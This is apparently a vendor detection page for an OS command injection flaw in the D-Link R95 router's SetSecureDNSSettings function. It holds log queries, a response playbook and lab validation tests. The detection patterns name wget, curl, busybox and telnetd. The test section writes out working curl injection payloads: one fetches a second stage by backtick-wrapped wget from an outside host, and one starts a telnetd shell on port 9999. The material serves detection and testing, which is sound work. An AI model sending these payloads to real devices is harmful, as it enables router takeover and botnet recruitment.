Detect D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226) in Sumo Logic CSE
Detects exploitation attempts against CVE-2026-138226, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the SetSecureDNSSettings function within /bin/ssi (DHMAPI SOAP interface) on D-Link R95 1.04B04Beta. Manipulation of the URI argument leads to OS command execution. The attack can be launched remotely. The exploit has been disclosed to the public. Because the vulnerable surface is an embedded router binary, detection focuses on inbound HTTP/SSI requests carrying shell metacharacters toward the DNS settings endpoint and, where device telemetry is forwarded, anomalous child processes spawned by the web/CGI service (/bin/ssi).
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
_sourceCategory=*proxy* OR _sourceCategory=*firewall*
| where url matches "*SetSecureDNSSettings*" OR url matches "*ssi*" OR url matches "*SecureDNS*"
| where url matches /[;|`&]|\$\(|%3B|%7C|wget |curl |busybox|\/bin\/sh|telnetd/
| fields _messageTime, src_ip, dest_ip, url, http_method
| sort by _messageTime desc Sumo Logic search for HTTP traffic to the R95 SecureDNS/ssi endpoint with command-injection indicators.
Data Sources
Required Tables
False Positives & Tuning
- Authorized scanner traffic
- Pentest activity against lab devices
- Benign admin configuration input
Other platforms for CVE-2026-138226
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated SetSecureDNSSettings command injection via semicolon
Expected signal: Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.
- Test 2 Command injection with payload download tokens
Expected signal: HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.
- Test 3 Pipe-based command chaining probe
Expected signal: Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.
Response Playbook
Triage
- Confirm whether the destination IP/host is a D-Link R95 running firmware 1.04B04Beta and whether its web management interface is reachable from the source of the request.
- URL-decode the captured request and inspect the SetSecureDNSSettings parameters for shell metacharacters (`;`, `|`, `` ` ``, `$(...)`, `&&`) and payload binaries (wget, curl, busybox, telnetd).
- Determine whether the request originated from an authorized scanner/pentest IP or from an unknown/external source by cross-referencing threat-intel and allowlists.
- Check for an HTTP 200/success response and any outbound connections from the device immediately following the request, indicating successful command execution.
Containment
- Block the source IP at the perimeter firewall and restrict the R95 web management interface to trusted management networks only.
- Isolate the affected router from the WAN and disable remote administration until patched or replaced.
- If compromise is confirmed, power-cycle and factory-reset the device, then re-provision from known-good firmware.
Evidence Collection
- Preserve full proxy/WAF/firewall logs of the inbound request including decoded URL, headers, source IP and timestamps.
- Capture any available device-side logs from /bin/ssi and the DHMAPI component, plus NetFlow for outbound connections post-exploitation.
- Export packet captures of the session if network sensors were recording the management VLAN.
Escalation Criteria
- !Escalate to IR when a command-injection request is followed by outbound connections, new processes, or configuration changes on the device.
- !Escalate when exploitation originates from an external/untrusted source against an internet-exposed R95.
- !Escalate when multiple R95 devices show the same injection pattern, indicating mass scanning or botnet recruitment.
Investigation Guide
Forensic Artifacts
- >
Inbound HTTP request logs to /ssi containing SetSecureDNSSettings with shell metacharacters - >
Anomalous child processes spawned by the web/CGI service on the device - >
Modified DNS/Secure DNS configuration or dropped binaries (busybox-based tools) on the router filesystem
Tuning Guidance
Allowlist known vulnerability-scanner and penetration-test source IPs to reduce noise. If the R95 management interface is only reachable from a dedicated management VLAN, restrict the rule scope to that destination range. Tune the metacharacter set if legitimate DNS configuration values in your environment contain semicolons, and correlate with device-side process telemetry where available to raise confidence from medium to high.
Hunting Queries
Surface sources repeatedly sending shell metacharacters to the ssi endpoint, indicating scanning or exploitation attempts.
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has 'ssi' | extend d=url_decode(RequestURL) | where d has_any (';','|','`','$(') | summarize count() by SourceIP, bin(TimeGenerated,1h) ``` df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence ```
index=proxy url=*ssi* | eval d=urldecode(url) | where match(d,"[;|`]|\$\(") | stats count by src_ip Atomic Red Team Tests
Sends an HTTP request to the R95 ssi endpoint injecting an id command through the SecureDNS parameter in a lab environment.
Command
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=8.8.8.8%3Bid' Cleanup
echo 'No cleanup required; request is non-persistent. Factory-reset lab device if config changed.' Expected Telemetry
Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.
Expected Detection
KQL/SPL rules match the decoded URL containing 'SetSecureDNSSettings' and the `;` metacharacter.
Simulates an attacker attempting to fetch a second-stage payload via busybox/wget through the vulnerable parameter.
Command
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=1.1.1.1%60wget%20http://198.51.100.5/x%60' Cleanup
echo 'Non-persistent request; remove any downloaded artifact from lab device filesystem if present.' Expected Telemetry
HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.
Expected Detection
Detection rules fire on 'wget' and backtick tokens in the SecureDNS request.
Tests the injection surface using a URL-encoded pipe to chain a command via the SecureDNS field.
Command
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=9.9.9.9%7Ctelnetd%20-l%2Fbin%2Fsh%20-p9999' Cleanup
echo 'Kill any telnetd started on lab device: killall telnetd; reboot device.' Expected Telemetry
Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.
Expected Detection
Rules match on the %7C/pipe and telnetd indicators in the request.